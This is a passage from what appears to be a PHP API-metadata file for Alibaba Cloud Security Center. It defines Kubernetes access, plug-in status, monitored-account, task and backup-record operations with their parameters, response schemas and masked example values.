'ListK8sAccessInfo', 'description' => 'You can use this operation to query the access information about Kubernetes clusters.'."\n", ], 'GenerateK8sAccessInfo' => [ 'summary' => 'Generates a command that is used to add a self-managed Kubernetes cluster.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas60Z3AE', ], ], 'parameters' => [ [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'title' => '集群名称', 'description' => 'The name of the Kubernetes cluster.'."\n", 'type' => 'string', 'required' => true, 'example' => 'test', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The group ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '11341690', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **Tencent**'."\n" .'* **HUAWEICLOUD**'."\n" .'* **Azure**'."\n" .'* **AWS**'."\n" .'* **Others**'."\n", 'type' => 'string', 'required' => true, 'example' => 'Tencent', ], ], [ 'name' => 'ExpireDate', 'in' => 'query', 'schema' => [ 'title' => '过期时间', 'description' => 'The time at which the container ends to be added.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1711951508388', ], ], [ 'name' => 'AuditRegionId', 'in' => 'query', 'schema' => [ 'title' => '审计日志region', 'description' => 'The ID of the region in which the audit logs are stored.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'AuditProject', 'in' => 'query', 'schema' => [ 'title' => '审计日志 sls project', 'description' => 'The Simple Log Service project that is used to store the audit logs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'k8s-log-custom-huxintest1018-2', ], ], [ 'name' => 'AuditLogStore', 'in' => 'query', 'schema' => [ 'title' => '审计日志 sls logstore', 'description' => 'The Simple Log Service Logstore that is used to store the audit logs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'audit-cf6baf6afa106eca665296fdf68b65bf', ], ], [ 'name' => 'AliyunYundunGatewayProjectName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas', ], ], [ 'name' => 'AliyunYundunGatewayApiName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'GenerateK8sAccessInfo', ], ], [ 'name' => 'AliyunYundunGatewayPopName', 'in' => 'query', 'schema' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'string', 'required' => false, 'example' => 'None', 'default' => 'Sas.2018-12-03.GenerateK8sAccessInfo', ], ], [ 'name' => 'CpuArch', 'in' => 'query', 'schema' => [ 'title' => 'cpu架构，分为arm架构的和x86架构。', 'description' => 'CPU architectures are divided into ARM architecture and x86 architecture.', 'type' => 'string', 'required' => false, 'example' => 'arm', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '061955B2-BC40-589F-AF63-C40A901EE279', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'ClusterName' => [ 'title' => '集群名称', 'description' => 'The cluster name.'."\n", 'type' => 'string', 'example' => 'test', ], 'AliUid' => [ 'title' => '用户ID', 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894104***', ], 'InstallKey' => [ 'title' => '安装码', 'description' => 'The installation key of the server.'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'BC66185***', ], 'ClusterId' => [ 'title' => '集群ID', 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'GroupId' => [ 'title' => 'groupId', 'description' => 'The server group ID.'."\n", 'type' => 'string', 'example' => '11618788', ], 'ExpireDate' => [ 'title' => '过期时间', 'description' => 'The expiration time. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1804230578566', ], 'AuditRegionId' => [ 'title' => '审计日志region', 'description' => 'The ID of the region in which the server is deployed.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'AuditProject' => [ 'title' => '审计日志 sls project', 'description' => 'The Simple Log Service project that is used to store the audit logs.'."\n", 'type' => 'string', 'example' => 'k8s-log-custom-your-project-sd89ehaaa', ], 'AuditLogStore' => [ 'title' => '审计日志 sls logstore', 'description' => 'The Simple Log Service Logstore that is used to store the audit logs.'."\n", 'type' => 'string', 'example' => 'audit-cf6baf6afa106eca665296fdf68b65bf', ], 'CpuArch' => [ 'title' => 'cpu架构，分为arm架构的和x86架构。', 'description' => 'CPU architectures are divided into ARM architecture and x86 architecture.', 'type' => 'string', 'example' => 'arm', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => 'Invalid parameter value.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"061955B2-BC40-589F-AF63-C40A901EE279\\",\\n \\"Data\\": {\\n \\"ClusterName\\": \\"test\\",\\n \\"AliUid\\": 0,\\n \\"InstallKey\\": \\"BC66185***\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"GroupId\\": \\"11618788\\",\\n \\"ExpireDate\\": 1804230578566,\\n \\"AuditRegionId\\": \\"cn-hangzhou\\",\\n \\"AuditProject\\": \\"k8s-log-custom-your-project-sd89ehaaa\\",\\n \\"AuditLogStore\\": \\"audit-cf6baf6afa106eca665296fdf68b65bf\\",\\n \\"CpuArch\\": \\"x86\\\\n\\"\\n }\\n}","type":"json"}]', 'title' => 'GenerateK8sAccessInfo', ], 'ListClusterPluginInfo' => [ 'summary' => 'Queries the status of plug-ins on clusters.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'PluginName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the plug-in.'."\n", 'type' => 'string', 'required' => false, 'example' => 'alihips', ], ], [ 'name' => 'ClusterIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => '902e428f6cc6679685d65fc81803****', ], 'required' => true, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'Data' => [ 'description' => 'The information about the plug-in.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterStatus' => [ 'description' => 'The status of the cluster. Valid values:'."\n" ."\n" .'* 1: normal'."\n" .'* 2: abnormal'."\n" .'* 3: offline'."\n", 'type' => 'string', 'example' => 'ABNORMAL', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'lmftest', ], 'NodePluginInfoList' => [ 'description' => 'The plug-ins.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'PluginVersion' => [ 'description' => 'The version of the plug-in.'."\n", 'type' => 'string', 'example' => '1.3.1', ], 'Installed' => [ 'description' => 'Indicates whether the plug-in is installed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'MachineType' => [ 'description' => 'The type of the instance. Valid values include:'."\n" ."\n" .'* **ecs**: Elastic Compute Service (ECS) instance'."\n" .'* **slb**: Server Load Balancer (SLB) instance'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => 'ECS', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'bc563d2b-2a3d-411b-8bbe-d75b8d3c****', ], 'MachineIntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '10.XXX.XXX.XX', ], 'Online' => [ 'description' => 'Indicates whether the Security Center agent is online. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n" ."\n" .'> If the Security Center agent of the server is offline, Security Center does not protect the server.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'MachineInternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '100.100.XXX.XX', ], 'PluginName' => [ 'description' => 'The name of the plug-in.'."\n", 'type' => 'string', 'example' => 'alihips', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'npznas05', ], 'instanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'tpp-cn-2r42njq4y001', ], 'ErrorCode' => [ 'description' => 'The error code returned.'."\n", 'type' => 'string', 'example' => 'kenerl not support', ], 'ErrorMsg' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'kenerl not support', ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"Data\\": [\\n {\\n \\"ClusterStatus\\": \\"ABNORMAL\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"ClusterName\\": \\"lmftest\\",\\n \\"NodePluginInfoList\\": [\\n {\\n \\"PluginVersion\\": \\"1.3.1\\",\\n \\"Installed\\": true,\\n \\"MachineType\\": 0,\\n \\"Uuid\\": \\"bc563d2b-2a3d-411b-8bbe-d75b8d3c****\\",\\n \\"MachineIntranetIp\\": \\"10.XXX.XXX.XX\\",\\n \\"Online\\": true,\\n \\"MachineInternetIp\\": \\"100.100.XXX.XX\\",\\n \\"PluginName\\": \\"alihips\\",\\n \\"MachineName\\": \\"npznas05\\",\\n \\"instanceId\\": \\"tpp-cn-2r42njq4y001\\",\\n \\"ErrorCode\\": \\"kenerl not support\\",\\n \\"ErrorMsg\\": \\"kenerl not support\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListClusterPluginInfo', ], 'MarkMonitorAccounts' => [ 'summary' => 'Marks members for multi-account management. You can call this operation to mark selected members as followed. In the Security Center console, the drop-down list above the left-side navigation pane displays the followed members.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'AccountIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the members.'."\n", 'type' => 'string', 'required' => true, 'example' => '131331822340XXXX,140649175187XXXX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', 'title' => 'MarkMonitorAccounts', ], 'UnMarkMonitorAccounts' => [ 'summary' => 'Cancel marking for members. You can call this operation to remove followed members from the list. In the Security Center console, the drop-down list above the left-side navigation pane no longer displays the members.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'AccountIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the members.'."\n", 'type' => 'string', 'required' => true, 'example' => '125267953644XXXX,125807832682XXXX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '3B7EF1A4-E970-5A7F-91CA-416F9881333E', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B7EF1A4-E970-5A7F-91CA-416F9881333E\\"\\n}","type":"json"}]', 'title' => 'UnMarkMonitorAccounts', ], 'GetClusterStrategyCount' => [ 'summary' => 'Queries the number of policies in each cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], 'StrategyCount' => [ 'description' => 'The number of policies.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], 'Count' => [ 'description' => 'The total number of entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'success', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '796348B5-115C-5BFB-83EA-B5C3C12F822F', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"StrategyCount\\": 10\\n }\\n ],\\n \\"Count\\": 3,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"796348B5-115C-5BFB-83EA-B5C3C12F822F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetClusterStrategyCount', ], 'ListUnfinishedOnceTask' => [ 'summary' => 'Queries tasks that are not complete by task type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **ASSETS_COLLECTION**: asset information collection task'."\n" .'* **IMAGE_SCAN**: image scan task'."\n", 'type' => 'string', 'required' => true, 'example' => 'IMAGE_SCAN', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The value of the object on which the task runs. If you set TaskType to IMAGE_SCAN, set this parameter to the UUID of the image that you want to scan. If you set TaskType to ASSETS_COLLECTION, set this parameter to the UUID of the server whose information you want to collect.'."\n", 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], 'OnceTasks' => [ 'description' => 'The details of the tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'StatusText' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **INIT**: The task is not started.'."\n" .'* **START**: The task is started.'."\n" .'* **SUCCESS**: The task is complete.'."\n" .'* **TIMEOUT**: The task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'description' => 'The progress percentage of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '75', ], 'RealRunTime' => [ 'description' => 'The execution duration of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670307567000', ], 'TaskName' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'Finish' => [ 'description' => 'Indicates whether the task is complete. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'EndTime' => [ 'description' => 'The time when the task ends.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1670307567000', ], 'TaskType' => [ 'description' => 'The type of the task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'StartTime' => [ 'description' => 'The time when the task is started.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1640102400000', ], 'ResultInfo' => [ 'description' => 'The execution result of the task.'."\n", 'type' => 'string', 'example' => 'TASK_NOT_SUPPORT_REGION', ], 'Target' => [ 'description' => 'The objective of the task.'."\n", 'type' => 'string', 'example' => '238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****', ], 'TaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => '9fb50f2af8bb67c9fdb684194c83****', ], 'FinishCount' => [ 'description' => 'The number of assets on which the task is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '67', ], 'TargetType' => [ 'description' => 'The type of the assets that are scanned. Valid values:'."\n" ."\n" .'* **IMAGE_REPO**: image repository'."\n" .'* **IMAGE**: image'."\n", 'type' => 'string', 'example' => 'IMAGE', ], 'TaskImageInfo' => [ 'description' => 'The information about the image scan task.'."\n", 'type' => 'object', 'properties' => [ 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-r88w2vryp8m****', ], 'Digest' => [ 'description' => 'The image digest.'."\n", 'type' => 'string', 'example' => 'default_digest', ], 'Tag' => [ 'description' => 'The image tag.'."\n", 'type' => 'string', 'example' => 'v1.20-002-a2*****', ], 'RepoRegionId' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'testyyy', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'bitn***', ], 'RegionId' => [ 'description' => 'The region ID of the server image.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Image' => [ 'description' => 'The container image.'."\n", 'type' => 'string', 'example' => '***s.com/sas_test/baseli***', ], 'Pod' => [ 'description' => 'The pod of the image.'."\n", 'type' => 'string', 'example' => 'expoit-law-****', ], 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'ack-jenkins-****', ], 'NodeName' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'pztest****', ], 'NodeIp' => [ 'description' => 'The IP address of the node.'."\n", 'type' => 'string', 'example' => '172.18.XXX.XXX', ], 'NodeInstanceId' => [ 'description' => 'The instance ID of the node.'."\n", 'type' => 'string', 'example' => 'i-0xi5mxvtmfw9****', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'a765ba1435e7f9446065370e9a41****', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'ACK-test-****', ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"OnceTasks\\": [\\n {\\n \\"Status\\": 1,\\n \\"StatusText\\": \\"SUCCESS\\",\\n \\"Progress\\": 75,\\n \\"RealRunTime\\": 1670307567000,\\n \\"TaskName\\": \\"IMAGE_SCAN\\",\\n \\"Finish\\": 1,\\n \\"TotalCount\\": 30,\\n \\"EndTime\\": 1670307567000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"StartTime\\": 1640102400000,\\n \\"ResultInfo\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"Target\\": \\"238cf050a7270dd6940602e70f1e5a11eeaf4e02035f445b7f613ff5e064****\\",\\n \\"TaskId\\": \\"9fb50f2af8bb67c9fdb684194c83****\\",\\n \\"FinishCount\\": 67,\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"TaskImageInfo\\": {\\n \\"RepoId\\": \\"crr-r88w2vryp8m****\\",\\n \\"Digest\\": \\"default_digest\\",\\n \\"Tag\\": \\"v1.20-002-a2*****\\",\\n \\"RepoRegionId\\": \\"cn-hangzhou\\",\\n \\"RepoName\\": \\"testyyy\\",\\n \\"RepoNamespace\\": \\"bitn***\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Image\\": \\"***s.com/sas_test/baseli***\\",\\n \\"Pod\\": \\"expoit-law-****\\",\\n \\"AppName\\": \\"ack-jenkins-****\\",\\n \\"NodeName\\": \\"pztest****\\",\\n \\"NodeIp\\": \\"172.18.XXX.XXX\\",\\n \\"NodeInstanceId\\": \\"i-0xi5mxvtmfw9****\\",\\n \\"ClusterId\\": \\"a765ba1435e7f9446065370e9a41****\\",\\n \\"ClusterName\\": \\"ACK-test-****\\"\\n }\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListUnfinishedOnceTask', ], 'ListBackupRecord' => [ 'summary' => 'Queries backup records.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'MachineRemark', 'in' => 'query', 'schema' => [ 'title' => '', 'description' => 'The information that you want to use to identify the servers protected by the anti-ransomware policy. You can enter the IP address or ID of a server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '', 'description' => 'The backup task status. Valid values:'."\n" ."\n" .'* **BACKUP_COMPLETE**: The backup task is successful.'."\n" .'* **BACKUP_FAILED**: The backup task failed.'."\n" .'* **PARTIAL_COMPLETE**: The backup task is partially successful.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the backup task status.'."\n", 'type' => 'string', 'required' => false, 'example' => '["BACKUP_COMPLETE"]', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'BackupStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the backup task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1699514211000', ], ], [ 'name' => 'BackupEndTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the backup task ended. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1699600611000', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'title' => '', 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '200', 'minimum' => '10', 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'BackupRecordList' => [ 'description' => 'The details of the backup record.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server whose data is backed up based on the anti-ransomware policy.'."\n", 'type' => 'string', 'example' => 'b93cccb9-f19f-4886-97fe-47df26ba****', ], 'ClientId' => [ 'description' => 'The ID of the anti-ransomware agent.'."\n", 'type' => 'string', 'example' => 'c-0002bgagelj3d2sc****', ], 'BackupPlanId' => [ 'description' => 'The backup plan ID.'."\n", 'type' => 'string', 'example' => 'plan-000c4tt43nolmx96****', ], 'BackupJobId' => [ 'description' => 'The backup task ID.'."\n", 'type' => 'string', 'example' => 'a006f24d069843c88688672d74ee****', ], 'BackupStartTime' => [ 'description' => 'The timestamp when the backup task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1699514211000', ], 'BackupEndTime' => [ 'description' => 'The timestamp when the backup task ended. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1699600611000', ], 'BackupStatus' => [ 'description' => 'The backup task status. Valid value:'."\n" ."\n" .'* **BACKUP_COMPLETE**: The backup task is successful.'."\n" .'* **BACKUP_FAILED**: The backup task failed.'."\n" .'* **PARTIAL_COMPLETE**: The backup task is partially successful.'."\n", 'type' => 'string', 'example' => 'BACKUP_COMPLETE', ], 'ErrorCode' => [ 'description' => 'The error code of the backup task.'."\n", 'type' => 'string', 'example' => 'FILE_CACHE_NO_SPACE', ], 'ErrorMessage' => [ 'description' => 'The error message of the backup task.'."\n", 'type' => 'string', 'example' => 'FILE_CACHE_NO_SPACE', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.'."\n", 'type' => 'string', 'example' => 'openapi', ], 'Ip' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '1.1.1.1', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-wz9ikn44p46krnic****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '1.1.1.1'."\n", ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.1.1', ], 'RegionId' => [ 'description' => 'The ID of the region in which the backup is stored.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"BackupRecordList\\": [\\n {\\n 